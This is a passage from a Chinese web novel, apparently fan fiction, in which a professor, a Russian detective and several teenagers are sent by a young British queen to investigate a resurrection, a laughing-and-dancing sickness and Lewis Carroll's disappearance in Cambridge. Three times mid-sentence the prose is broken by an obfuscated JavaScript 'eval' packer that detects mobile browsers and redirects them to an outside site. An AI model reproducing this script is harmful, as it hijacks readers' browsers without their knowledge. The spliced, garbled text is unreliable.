——不知为何,他突然有了一种自己没用的侦探助手只是出一趟远门就被别人拐走,两人一拍即合、双宿双飞,甚至回来时还多了几个孩子的感觉。 “你知道吗?” 画外音显然和柯南·道尔有着相似的想法,它用凑热闹的语气说:“你现在的这个姿势要是被在钟塔侍从成员看到,要不了三天所有人都会知道你在和某个俄罗斯人谈恋爱——” 夏章雾探头探脑的动作顿时一滞。 他尝试往画外音的方向恶狠狠地瞪一眼,但失败了,因为他根本找不到画外音所在的维度。 于是他干脆把目光投向了唯一在场的钟塔侍从成员。 被瞪了眼的柯南·道尔有些莫名其妙地回过头,结果就看到了夏章雾咬牙切齿的表情。 “柯南·道尔,给我克制一点你的想象力。” 某位人类学教授的声音中仿佛夹杂着嘎吱嘎吱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271716|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的磨牙声:“我们之间除了侦探和侦探助手的关系,什么都没有!” 此言一出,大家的目光纷纷朝他看去。 画面突然间变得十分戏剧性,并在作者“噗哈哈哈哈哈”的笑声中多出了几分诙谐的色彩。 柯南·道尔先生“哇哦”了一下。 “你不觉得你这句话有点欲盖弥彰?” 他下意识地用调侃的语气说,然后突然发现有什么地方不太对劲。 侦探,侦探助手? “等等。” 这位侦探突然警觉,并大惊失色:“你什么时候变成别人的助手了?” 自家助手跑去谈恋爱这种事情还可以忍受,但如果是自家助手别的同行拐走,那事情就不对劲起来了,毕竟—— “你要是跳槽了,我去哪里找每个月工资只要一千英镑的伦敦冤大头!” “?” 夏章雾只觉得自己迟早有一天会被自己的这个混账邻居气得心肌梗塞。 “原来你也知道你给的钱又少事情又多啊!” 他也不管自己和费奥多尔的那点事了,直接气急败坏地拽住对方的衣领,大声控诉起了某个黑心侦探:“一千镑的月薪能在伦敦干什么,在安全点的街区租一个月的房子都不行!除了我这种倒霉鬼,还有谁会给你这挑三拣四的家伙当助手啊!” “呃,也许我还能用我的聪明才智和花言巧语说服阿加莎来当我的业余侦探助手?” 被揪着衣领口的柯南·道尔纠结了几秒的时间:“但我至少得要有三个月才能说服她……” “三个月?” 夏章雾“呵呵”冷笑两声,松开手:“你要不还是现在就睡一觉吧?这样不到三十分钟你就能梦见她来当给你端茶倒水、收拾首尾、陪你四处采访、参加降神会、钻闹鬼古宅、时不时还要借你钱的美女侦探助手了。” “嗯哼,夏某人说得对。” 一个轻松的女声伴随着风驰电掣的摩托车发动机声音传来:“如果想让我去当某个混账侦探的助手,还是做梦比较轻松。” 一道亮红色的摩托车从车流的缝隙间轻巧地驶过,最后稳稳地停在了移动速度比蜗牛快不到哪里去的轿车边。 上面的摩托车骑手摘下头盔,宛如金色海浪般的两条修长马尾在脑后轻轻一甩,澄蓝色的眼睛带着几分若有若无的笑意,带着几分傲慢的态度居高临下地瞥着某位伦敦的侦探。 “事先说明,我可不认为那种无聊的降神会有什么意思。要是你真的想要我陪你去那种地方玩,最好放弃见到你下半年经费的准备。” 这段话中的威胁相当到位。 柯南·道尔瞬间就正襟危坐了起来,摆着一张严肃的脸,就差把“我绝对不会对伟大的近卫骑士长大人有任何非分之想”的话给说出口了,飞快地选择了转移话题。 “前面是发生什么异能事故吗,阿加莎?” 他说:“今天这条路比平时还要拥挤些。” 阿加莎·克里斯蒂摸了摸自己的马尾,靠在摩托车上,随意地说: “一个不长眼睛的小家伙打算在伦敦干点违法犯罪的事情,五分钟前已经被解决了。不过他造成的破坏有点大,恢复正常行驶大概是六点左右吧。” 夏章雾看了眼前方。 有阿加莎用经费把柯南·道尔威胁了一顿,他现在也勉强消了气,把注意力放到了路况上:“这么看,比正常情况要慢一小时啊……” “问题是现在才下午四点吧?” 坂口安吾有些茫然地低头看了眼手表:“晚上如果是六点钟才能恢复正常的话,真的只是比正常情况晚一小时吗?” 在场的四位成年人默默地互相对视一眼。 “伦敦是这样的。” 他们异口同声地说:“习惯就好。” “不过也不用太担心,女王陛下她现在就在英国皇家大剧院里欣赏今年的国庆剧目彩排。等你们到那里,表演也估计刚刚好结束。” 似乎觉得就这么承认伦敦糟糕的交通现状有些令人尴尬,阿加莎咳嗽了一声,用故作轻松的语调说道,随后重新戴上头盔,踩下油门: “两个半小时后见。” 她说:“有什么事情之后再说——对了,陀思妥耶夫斯基先生,女王陛下说了,借导弹的事情等这次事件完成后我们再结账!” 红色的机车一下窜了出去。 夏章雾缓缓扭过头:“结账?” 感情这枚导弹你是花钱租借的啊?你哪里来的那么多钱? “嗯,用了一斤达芬奇的手稿。” 费奥多尔眨了眨眼睛,很是认真地思考了片刻,云淡风轻地回答:“也不算太贵吧。” 35.“女皇” 英国皇家歌剧院。 音乐剧与芭蕾舞剧爱好者者心中的圣殿,考文斯花园的白天鹅,同时也是夏章雾平时连门票都付不起的地方。 但他现在却待在二楼金碧辉煌的包厢中,并深深地觉得自己快要死了。 左边,三个好奇的未成年挂件。 前面,一个好奇的未成年女王。 右边,一个正喝红茶的未成年骑士长。 其中四个人的目光还都在齐齐地注视着他。 只有太宰治似乎对外面的歌剧很感兴趣,连半个眼神都没有分给某位教授。 坐立不安的夏章雾:“……” 所以这是什么未成年包围圈吗?救命,他快没法呼吸了! 他用沉重的目光看向身边唯一的成年人。这位俄罗斯的侦探先生正在看着舞台上的风景,显得相当泰然自若。 夏章雾默默地再次调整了一下坐姿,突然格外想念柯南·道尔起来。 要是对方也在这里,至少阿加莎的目光会从自己身上挪开,转而全神贯注地关注起那个不着调的侦探,免得他在女王面前胡言乱语。 可惜,那家伙很有自知之明地没进来。 歌剧院里回荡着女高音动人的歌声: “让我这幸福的人告诉你, 指环向我证明了齐格弗里德的爱意! 你去诸神那里, 告诉他们我的指环的事, 我永远不会将爱情放弃! 他们永远无法将我的爱情夺去, 哪怕沃尔哈拉的辉煌壮丽 会沦为废墟!” “这是什么剧目?” 太宰治扭过头,好奇地问道。 “《尼伯龙根的指环》。” 费奥多尔放下咖啡杯,轻声解释道:“现在应该是第四幕诸神黄昏的第一场。” “我很喜欢瓦格纳先生的这部剧目。” 主位上的少女微笑着说。 这是她在夏章雾等人走进包厢后说的第一句话。说话时,那对接近于半透明的银灰色眼睛轻轻地眨了一下,姿态俏皮而又落落大方: “当然啦,这么选也是因为也没多少比《尼伯龙根的指环》还长的乐剧了。嗯——伦敦的路况总不至于让诸卿堵上八个小时吧?” 《尼伯龙根的指环》总时长十六小时,演出一般分上下两场,平均下来就是一场八小时的时间。确实是不管交通怎么堵塞,都让人能在剧目结束之前到场。 “陛下,伦敦的路况还没有到这个地步。” 阿加莎收回了看着夏章雾的目光,一脸严肃地回答。 不再被盯着的夏章雾松了口气。 “哇哦。”他说,“阿加莎,你现在好紧张。” 或许是因为还差几个月成年,这位新上任的近卫骑士长在有女王在场的时候总是有点严肃过头的倾向,浑身都紧绷得要命,连表情都从平时的随意变成了不苟言笑的样子。 “你闭嘴!” 坐得笔直的阿加莎·克里斯蒂小姐立刻又瞪了回来,绷着一张脸,从牙缝里恶狠狠地挤出了几个字。 “噗。” 主位上的女王陛下用折扇抵住了嘴唇,银灰色的眼睛弯起:“克里斯蒂卿,放轻松。就像是L……夏卿说的那样,你太紧张了。” “唔,好的,陛下!” 阿加莎的耳朵稍微红了一点,大声地回答了一句,然后把身子坐得更直了。 夏章雾眼角一跳:真双标啊,你这家伙! 知道的人清楚她现在是在皇家歌剧院听歌剧,不知道的人估计会以为她现在是在女王生日的阅兵仪式上面呢。 女王再次弯了弯眼睛,但也没有继续劝导,而是直接看向夏章雾。 “诸卿应该也不是喜欢绕圈子的风格,那我就直言这次麻烦诸卿前来的原因了。” 她用清脆的声音说:“在半个月前,剑桥突然出现了死者死而复生的传说。而根据钟塔侍从的调查,这条传言确实属实。具体如何,就麻烦克里斯蒂卿介绍了。” 死而复生? 这下所有人的目光都齐齐来到了这位年轻的骑士长身上:跨越生与死壁垒的奇迹,这可比人变成怪物新奇多了。 “目前为止,死者复生案例只有一例。” 阿加莎庄重地说,在话题终于来到自己的专业领域后,她脸上的表情更严肃了: “复生者是英国剑桥郡的普通人,去年四月因病去世。半个月前,守墓人听到他的坟墓传来不正常的响动,开墓后发现他已经复活。” 说完,她就从自己身前的文件袋中抽出几份复印件,给了夏章雾他们递过去。 夏章雾微微皱眉,扫视着上面的记录。 钟塔侍从在找到这个人后显然已经做了大量的检查。他们既然都说“死者复生”属实,那么就确实存在,无需质疑。 但……照片上那个复活的死者样子,未免有点太不对劲了。 夏章雾快速地扫视了一遍报告,十分肯定地得出结论:与其说那是经历复活的活人,倒不如说那是一具会行走和说话的尸体。 报告上则是这么说的: 「经检查,复活者的身躯机能与死亡一年的尸体大致相同。拥有基础行动和语言表达能力,同时具有明显的常识缺失和多动倾向。 对外界反应有限,说话时夹杂大量无序词组与生造词,几乎无法沟通。但在部分游戏当中表现出约六七岁左右的思考能力。」 夏章雾往后翻了翻:后面的这几张照片都是那个复活的死人玩游戏时拍摄的。在拼图游戏和积木游戏当中,他都成功地搭建或者拼出了许多奇形怪状的东西。 怎么说呢,就是最终的成品不太像是人类能够想象出来的产物。 太宰治在旁边发出嫌弃的嘟哝声。这回听上去比起充气的河豚,更像是应激的猫在哈气,以此来表达自己对某些事物的坚决厌恶。 夏章雾安抚般地按了下他的脑袋。 “仅此而已吗?” 费奥多尔也简单翻阅了一遍报告,他的声音依旧相当平静:“就算它牵扯到了复活,如果这种事件只有一例,你们也不会过来找我们。” 毕竟作为类似自然现象的存在,文学负面体如果不闹出大乱子,大家也都随它们去。反正就像雨后的彩虹,其中绝大多数只要过上几个月就会自然消失,也费不着人类专门为之劳心劳神。 阿加莎呼出一口气。 “当然不止。诸位应该听说过坦噶尼喀大笑病和斯特拉斯堡舞疫吧?” 这位近卫骑士长说:“在此人复活后,他的周围出现了与这两次事件类似的现象。无休止的大笑和舞蹈开始在剑桥居民当中传播,在儿童身上尤其严重。” 又是孩子…… 夏章雾深深地皱起眉:“有人死亡?” “没有,这就是问题所在。” 阿加莎轻轻摇头:“在因精疲力尽昏厥后,他们没有任何醒来的现象,也没出现因长时间昏迷导致的身体不良情况。目前,这种现象的范围一直在持续扩大。” 夏章雾皱了下眉。 竟然没有人死亡?这次的文学负面体看上去可要比人间失格温和太多了…… “所以最初我们确实没有太重视这件事。” 阿加莎·克里斯蒂的声音逐渐低沉下来:“但就在四天前,钟塔侍从的一位成员失踪了。” 钟塔侍从成员,失踪。 夏章雾快速地把这些词在脑海里排列组合了一下,飞快地得出结论: 哦豁,要完。 ——众所周知:钟塔侍从是一个非常护犊子的组织。虽然他们的护犊子往往是以这样的神经病方式来呈现的: 呵,你什么货色,也敢来欺负我家成员?不知道我们的人只有自己人才能欺负吗? “所以……” 夏章雾谨慎地说:“失踪的人是?” “是卡罗尔卿。” 女王开口,她的声音也严肃起来:“因为长年居住在剑桥,所以卡罗尔卿主动承担了调查任务。但就在四天前,他突然失踪了。” 阿加莎·克里斯蒂再次从身前的文件包里拿出了几张复印文件,递给夏章雾一行人。 最上方的那一行就写出了失踪成员的全名: 刘易斯·卡罗尔—— 等等,刘易斯·卡罗尔? “咳咳咳咳!” 夏章雾突然猛烈地咳嗽了起来,满脸古怪地看着面前的文件。 本来还只以为是同姓,但这个人他熟啊! 这不就是他们隔壁剑桥大学那个数学系的教授吗?当初大英各个大学搞联谊会的时候他还和卡夫卡见过这家伙,记忆里似乎是一个热衷于给小萝莉拍泳装照的变态…… 好吧,变态其实是开玩笑。他拍照之前都会认真地了解孩子本人的意愿,只要对方不同意就会毫不犹豫地放弃。 但是—— 果然还是很变态。 夏章雾一直都没法理解:这家伙到底是怎么做到没被愤怒的家长打得半身不遂的,难道是因为异能吗? “也许是因为他看上去很老实吧。” 作者悠然地说:“你看啊,这么一个超级社恐还结巴的人,看上去就不太像是对小女孩图谋不轨的变态。不像某个人,一看就很男同……” 感觉被意有所指的夏章雾:“?” 他决定无视作者的话,把注意力放在卡罗尔发来的报告上。 「五月十三日上午,使用异能“漫游奇境”,尝试抵达昏迷不醒者的梦境中,结果失败。 下午,在普通入眠者身上使用异能,成功。异能并没有失效。似乎昏迷者并不是简单地陷入了休眠状态,他们的精神像已经脱离了身躯,来到了“彼方世界”。 五月十四日上午,听到幻听,主要内容为孩子的笑声与无逻辑的语句。该幻听在起床看到镜子后第一次出现,并越来越清晰。 下午,出门观察。当存在某种危险情况时,幻听内容更加清晰。如在无遮挡的高台上,幻听来源明显来自前方的虚空。在水流边或者火焰旁时,幻听明显来源于水与火中。似乎在引诱我走向它们。 五月十五日,随着异能的使用,幻听似乎正在变得越来越明显和清晰,且存在熟悉的笑声。目前肢体并未出现不受控制的现象。接下来我会并尽量不去使用异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276828|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。 下午,发现幻听现象目前仅局限于剑桥。同时,其余异能者使用异能后并未出现与我相似的现象。 五月十六日,早上整六点时在康河畔听到了兔子奔跑的声音,其余时刻都是笑声。其余情况一切如常。 五月十七日,早上整六点时康河畔仍有兔子奔跑的声音。时间持续大概一分钟左右,具体为沿河从上流至下流的奔跑声,夹杂听不清的英语。明日如无意外,我将跟随声音前进。 五月十八日」 夏章雾把纸翻到背后,上面的字迹突如其来地变得相当潦草,似乎是在仓促之间写下的。 「兔子的声音晚来了一刻钟,它的脚步比以前急促很多。这次我一直在跟踪它,声音比以前更加清晰了,我正在尝试分辨它话语里的内容。那个声音正在说(大量的涂改)女皇。」 夏章雾没有难为自己去做笔迹鉴定,随口问道:“他涂掉的内容是什么?” “爱丽丝。” 阿加莎·克里斯蒂轻声地说:“半个月前,剑桥大学的圣三一学院的院长女儿,七岁的爱丽丝·利德尔因病去世。” 夏章雾有些惊讶地抬头。 爱丽丝。 这当然不是评论区的两个爱丽丝。但熟悉卡罗尔的人都不可能不知道这个名字。 那是个很有魅力的女孩儿,也是让卡罗尔成为给未成年少女拍泳装照的变态的源头……咳。总而言之,那是一个对你微笑时会让你觉得自己身处于幻觉中的孩子。 夏章雾曾在聚会上见过她——并且只是一眼就留下了相当深刻的印象。他真的没有想到自己只是去了一趟日本,就得知了她的死讯。 “这时候是不是该说节哀?” 他想到这次文学负面体的名字,微微皱眉,但是很快就舒展开来,把报告放在一旁:“考虑到目前的情况,似乎安息更加适合吧。这就是全部的资料吗?” 克里斯蒂点点头。 “毕竟这件事涉及到复活。钟塔侍从的动作要是再大一些,很容易引来各方的视线。如果有几个嫌自己活得不够长的蠢货牵扯到事情里,那就有些麻烦了。” 她说:“更详细的资料还需要你们去调查。” 夏章雾看了眼费奥多尔:“所以,我们的任务就是消灭这个OOL?” “正是如此。日不落帝国土地上的每个居民的生命与死亡都不容亵渎。钟塔侍从的成员也不能在这片土地上无缘无故地受到伤害。” 女王微微颔首:“让死者不再复生,把卡罗尔卿重新带回这里,消灭剑桥的OOL——这便是我们的请求。” “铛铛铛铛,主线任务第二环要发布咯。” 画外音在旁边悠悠闲闲地开口:“而我们的主角所要做出的选择当然就是……” “我有一个问题。” 夏章雾突然开口,趁它还没说完,成功地打断了画外音愉快的声音。 他认真地看向这位还差一个月才算年满十六岁的女王。 “因为涉及到了钟塔侍从,您得知日本的事件并不奇怪。再加上我身边的这位侦探,我并不疑惑于您为什么选择我们来解决这件事。” 他说:“但您为何如此肯定,这就是OOL造成的现象,而不是刚刚觉醒的异能者造成的?虽然这样的异能很特殊,但如果是出现在这里,那也并非不可能。” 阿加莎·克里斯蒂皱了下眉: “这是机——” “没事的哦,克里斯蒂卿。” 脸上还带着稚气色彩的女王似乎也短暂地怔愣一下,然后便微笑起来:“其实陀思妥夫斯基卿也是知道的。夏卿去问他便可。” 等等,你知道? 夏章雾下意识地看了眼费奥多尔,然后看到对方微笑着点头。 那行吧,回头就去问他。 夏章雾叹了口气:“既然如此,那我已经没问题了。” “那么。” 俄罗斯人把资料纸叠放到一处,用非常熟练的语气说:“和以前一样,我们需要有关这件事的最高行动权。” “以阿尔贝蒂娜·夏洛特·奥古斯塔·温莎,蒙神恩典者,大不列颠及北爱尔兰联合王国及她其他王国与领地的女王,信仰的守卫者之名。” 阿尔贝蒂娜女王微微点头,她拄着自己的权杖,以坚定又果断的语气说: “当你们为此次任务行走在这片土地上时,无人有权阻止你们,包括我自身。” 既然如此,那我能问您要一笔经费吗? 夏章雾张了张嘴,很想这么说。 “你可以事后问阿加莎报销。” 画外音的态度十分警惕:“别在这儿问!我好不容易塑造出来的严肃感,你别给我一开口就毁了!” 好吧,有报销就行。那就不问了。 夏章雾遗憾地看了眼远方。 唉,又要……加班了啊。 怎么说呢,希望替他代课的卡夫卡先生能再撑一段时间吧。 希望他别因双份工作而猝死在学校里,也不要被那群混蛋学生气死,更不要带学生去田野考察然后变成什么稀奇古怪物种的小零食。 ——阿门。 36.有的人看上去还活着 剑桥,五月。 阳光在碧绿的草坪上跳动,空气中弥漫着仿佛糖果和花香混合的甜蜜气息,远处似乎有隐隐约约的音乐声传来。 “对于三位小姐的事,在下深表遗憾。” 走出别墅的夏章雾用低沉的声音说道,表情是肉眼可见尽力的庄严肃穆——天可怜见,他在阿尔贝蒂娜女王面前都没有这么认真过。 未成年们也在他身后很配合地绷着脸,尽可能地让自己看上去像是过来吊唁的客人。 织田作之助除外,毕竟他平时就是那副看上去非常严肃的表情。 他们身前的妇人听到这句话后,再次轻轻地哽咽一声,用帕子遮住眼角,扭过头去,不想让客人看到自己脸上的表情。 她身旁的亨利·利德尔叹了口气,轻轻地拍了拍自己妻子的背部。 “夏教授,也不必如此。” 他朝夏章雾笑了笑,勉强的笑容与他近期憔悴的面孔十分相称:“虽然爱丽丝已经离开了我们,但至少罗丽娜和伊迪斯还在。虽然她们已经昏迷了将近两个月,但……” 他没能把话继续说下去。女人的抽噎声却是越来越大。 夏章雾很是尴尬和紧张地站在利德尔家的别墅门口,只感觉周围的气氛非常熟悉,让他有一种想要逃跑的冲动。 他真的不知道该怎么面对失去了一个女儿,剩下两个女儿还在昏迷当中的倒霉蛋啊!当时他就应该去调查尸体,让费奥多尔来利德尔家这里调查! “没事,一回生二回熟嘛。” 画外音以一种看乐子的心态安慰道:“费奥多尔先生肯定也是那么想的。” ——但问题是,他根本就不想再遇到这种事情第二回! 夏章雾在心里对着作者和某个并不在此处的俄罗斯人骂骂咧咧,但表面上还是露出了心有戚戚然的哀伤表情,同时做好了能不自己主动开口就不开口的打算。 “不管怎么说,” 在漫长的沉默后,亨利·利德尔总算是勉强安抚住了自己妻子的情绪:“夏教授,您最好还是早点带着这些孩子回布利切斯特。” “因为这次剑桥的传染病?” 夏章雾深吸一口气,问。 “是啊。” 男人用疲惫和痛苦的语气说:“您应该也是知道的,剑桥这次爆发的疫病尤其针对孩子。虽然每个人都说昏迷者的身体相当健康,身体各项指数也都很稳定,但……” 如果他们再也醒不过来了呢? 夏章雾能从对方带着隐隐焦虑神色的眼睛中看出这句话。他低头看了眼身后的那三个未成年人,考虑起其中哪个突然开始发癫似的狂笑、跳舞并昏厥的可能性。 嗯。 老实说,完全无法想象。 “既然是夏教授特意从日本接回布里切斯特大学的学生,那肯定也是非常优秀的孩子。还是尽快离开这片多事之地为好。” 亨利·利德尔叹了口气:“如果当初爱丽丝走后,我们能够离开剑桥……” 夏章雾再次看了眼自己身后的未成年,不着痕迹地扯了扯嘴角。 非常优秀的孩子。 这、这对吗? 太宰治拽住夏章雾身后的斗篷,点点头。 ——对的对的!就是很优秀! 夏章雾咳嗽了一声。 “其实我们打算下午就坐火车离开。” 他说:“这次我前来主要还是因为听说了爱丽丝小姐去世的消息,再加上还有事情需要和卡罗尔商量。很抱歉。本来我以为……” 说到这里时,夏章雾很富有技巧地停顿了一下:毕竟所有认识卡罗尔的人都知道,他和爱丽丝的关系不太一般。 从理论上来讲,只要到了利德尔家,十有八九能够找到和卡罗尔有关的消息。 “爱丽丝她走了后,卡罗尔先生受到的打击很大。”利德尔夫人用手帕擦了擦眼泪,“我们已经有半个月没有见过面了。” “再加上最近剑桥也停了课,最好还是去他的住所。”亨利·利德尔也说,看上去真的对卡罗尔的去向一无所知,“就在汪斯福德附近。需要我送你们去吗?” “这就不用了。” 夏章雾立刻摇了摇头:“我和他需要谈的事情比较私人。而且我也……” “叮咚。” 手机铃声响了起来。 夏教授如蒙大赦,连忙一摸口袋,飞快地带着身后的未成年人们与利德尔夫妇告了别。 等到他以落荒而逃的姿态逃窜到了好几百米远的马路边后,才接起电话。 “勒托先生。” 电话那头是熟悉的称呼与熟悉的声音:“我就在街道前面的岔路口。就在那辆红车边上。” “好的,我马上去。” 能够顺利逃脱,夏章雾整个人的语气都变得轻松了起来。 他在阳光下懒洋洋地舒展了一下肢体,伸手抓住太宰治就用力揉搓了好几下,感觉自己简直就像是重新活了一遍。 就是被搓揉的栗子河豚本人很有意见: “唔唔唔,都说了不要靠捏未成年人的脸来解压啊,混蛋大叔!” 被揪着脸的太宰治含糊不清地喊着,整个人气鼓鼓的:“还有织田作你啦,不要露出那种表情!就算盯着我也不可能让你揉的,唔!” 织田作之助遗憾地收回目光。 ——可是太宰治那张婴儿肥的脸看上去真的很好揉。 “我这边已经确定了,卡罗尔的失踪和利德尔一家无关。” 夏章雾在欺压完未成年人后,心情愉悦指数更上一层楼,在电话这头主动问道:“你们去调查那些昏迷者的过程中有什么收获吗?” “他们的灵魂不在身体内。” 费奥多尔假装没有听到太宰治的声音,说话的风格非常言简意赅:“卡罗尔先生的猜测是真的。这些人的灵魂的确已经去了别的地方。” “那应该是与死亡有关的场所。” 赤红色的蛇在他的肩上吐着信子,低眉顺眼地进行补充:“我闻到了类似于地狱的气味。” 死亡? 夏章雾陷入沉思。 夏章雾开始头脑风暴。 “等等?你的意思是他们已经进冥府了?” 他尝试理解这句话的精髓:“所以说这些昏迷者到底是活着的还是死着的?” 好问题。 费奥多尔侧眸看向蛇。 蛇被盯得打了个激灵,尾巴尖都竖了起来。 “呃,我怎么知道?”它下意识地说,但很快就意识到自己的态度不对,于是飞快地再次变得低眉顺眼,“我的意思是,嗯,我是不太懂你们人类对于死亡的定义啦……” 夏某人虚起眼睛。 “真的好没用啊,蛇先生。”他直言不讳地评价了一句,“现在我看到你们了,先挂了。” 熟练地按下挂断键。夏章雾稍微整理了一下自己脑海内的思路,抬手和不远处的费奥多尔打了个招呼,快步走去。 只有俄罗斯人一个还站在街道边上。至于那条没用的倒霉蛇,此刻已经不知躲到了哪里——它看上去真的很担心夏章雾闲得没事干的时候再拿它玩一次翻花绳。 “那个死而复活的人呢?” 夏章雾没太在意那条蛇:“他的灵魂还在身体里面吗?” “就是因为他的灵魂还在,那具彻底朽坏的身躯还能勉强行动。” 费奥多尔回答道。他露出了稍微有点深思的表情,似乎正在斟酌语言:“不过他的复活,其实更像是……被死亡所拒绝。” “被死亡拒绝。” 夏章雾挑了下眉,重复了一遍。 “我尝试了一些方法。” 费奥多尔看了眼从坂口安吾身后探出脑袋的太宰治,用尽可能委婉的方式说:“得出的结论是,不管如何,他现在都无法再次死亡了。” 与其说是获得了新生,倒不如说这种情况更像是被死亡的领域拒之门外,再也没有进入其中的机会。 夏章雾倒吸一口凉气。 考虑到那个复活的人虽然很难说到底是不是活人,但也许勉强还能算是一个活人,他很是谨慎地问了句:“呃,所以他现在怎么样了?” 费奥多尔想了想。 “还能动。”他说。 夏章雾:“……” 突然感觉面前的这家伙比这次的文学负面体还要恐怖。 “咳咳!” 为了排解这种莫名其妙的感觉,夏教授连忙咳嗽了几声,装出一副正经的样子,从怀里拿出电话:“总之,先去卡罗尔家里吧。那里应该还留下了不少有用的线索。” “嗯。” 费奥多尔从善如流:“我约了一辆车,还有两分钟到。” 好的,非常贴心,就是贴心得稍微有些令人害怕。 夏章雾默默地拿出笔记本,尝试通过看看读者这些日子给他的留言来打发打发时间。如果他没记错,前些天他还问了读者有关《爱丽丝漫游奇境与镜中奇遇》的问题。 「暮川夜: 你求我啊——你求我,我就告诉你。」 「暮川夜: 《爱丽丝漫游奇境》爱丽丝追白兔掉进兔子洞,进入奇幻地下世界,遇诸多古怪角色,经历身体变大变小等奇幻冒险,最后发现是一场梦。 《镜中奇遇》爱丽丝穿过镜子进入颠倒的镜中世界,按象棋规则移动……」 「暮川夜: 可恶的账务,你知道我蹲点了半天给你发了个段评之后去帮你找答案,结果找完之后发现自己不是第一个章评后的痛苦了吗?!你欠我的到底该怎么弥补啊?」 夏章雾看着这三条信息:“?” 他感觉头上都快要冒出问号了。 不是,爱丽丝的傲娇属性是在评论区出现了人传人的现象吗? 夏章雾不理解,但夏章雾大为震撼,并且无视了暮川夜在最后的谴责,记下了这两段简短的剧情介绍。 如果说彼方世界与原著里的这两个世界相似的话,那么进入那里的方式也应该和原著中提到的方法有关……这么看来,卡罗尔的失踪该不会是因为掉进了兔子洞吧? 所以什么样的兔子洞连人都能掉进去啊!这是什么泰坦巨兔吗? 他吐槽了一句,继续往下看: 「桉莉斯: 他的异能是这样啦,你可以翻一下以前的评论,夺舍杀死自己的人。」 这句话是指谁? 夏章雾愣了一下,然后快速地通过排除法选择出了正确的对象。 等等,是费那个谁? 他瞬间大惊失色。 “你在大惊失色什么啊。”画外音都快要看不下去了,“这种纯粹自卫型异能,你只要不想着杀掉他就完全没问题吧?” “问题是我的计划啊!”夏某人深吸一口气,表情相当沉痛,“可恶,通过谋杀分财产的计划竟然出师未捷身先死……” “勒托先生。” 俄罗斯人的声音从旁边飘了过来。 “怎么了?” 夏章雾抬头,结果发现大家都在看着自己,一副“你在说什么谋杀分财产计划”的好奇样子。 费奥多尔除外。 “车已经到了。”他微笑着说。 “……哦,这样啊。” 夏章雾看着面前停靠过来的车,松了口气,毫不犹豫地选择了副驾驶的位置。 吓死了,还以为这家伙的异能效果除了夺舍还有读心。刚刚他还在想自己有没有说到底要分的是谁的财产呢。 系好安全带后,夏章雾继续看笔记本。 还是爱丽丝的评论: 「桉莉斯: 已知这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287686|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个事件不会死人,或许对应的就是爱丽丝的梦结局——没有人真正死去。爱丽丝的场景基本和现实差异很大,而出场人物也各有特色……」 梦结局? 夏章雾往后面翻了翻,其他读者也有不少人提到这两部书的内容都是爱丽丝的一场梦。但也有读者觉得爱丽丝不是在做梦。 “说起来,睡梦和死亡其实很接近啊。” 他摸了摸下巴,自言自语道。 或许是因为睡眠是活人最接近死亡的状态,所以不仅仅是在神话学,就连在文学与哲学领域当中,也有不少人会将其相提并论。 虽然目前并不确定那个“彼方世界”是否就是真的梦境,但还是先记下这一点吧。 夏章雾翻开下一页。 「青川: 梦游仙境的核心主题:成长与自我认知。爱丽丝在奇幻世界中不断遭遇身体大小变化,隐喻儿童成长中的困惑与身份探索……」 这个是讲主题的。这个有用! 夏章雾眼睛一亮,想起了人间失格事件里飘然如烟的那篇对人间失格主题的解析。 这位读者,干得漂亮啊! 他立刻拜读起这篇读者用人工智能帮他整理出来的解析,不过读了几段后脸上的表情就逐渐僵硬了起来。 “将数学逻辑,如国际象棋规则、几何空间变换融入故事……” 数学从来都没有好过的夏先生幽幽地重复了一遍评论里的话,然后抬头。 “喂,大侦探。” 他看向后视镜:“像是几何与国际象棋之类的东西,你的水平怎么样?” 后视镜里的俄罗斯人微微歪了下头。 “还算可以吧。”他说,“要用到吗?” “要的,当然要的。” 夏章雾幽幽地说:“接下来的事情大概要和这些东西有点关系,总之最好准备吧。” “噗。”画外音在旁边发出快活的笑声,“你就承认吧:就算你是有三次元靠山的主角,也不可能只靠自己就完成所有的任务。数学这种东西该不会的就是不会。” 夏章雾死鱼眼,听着作者在他的耳朵边上得意地叽叽喳喳: “你——这辈子——都甩不掉他啦——” 这副得意的样子,简直就像是在说“这个恋爱你非谈不可”。可恶,他难道是会屈从于这种命运的人吗? 夏章雾在内心坚定地摇了摇头,继续看读者们给他的各种提醒。 接下来的读者基本都是在说原著当中各个稀奇古怪的角色,说到了他们各自的性格、特点。还有非常一致的“小心会让人变大变小的食物”的提醒。 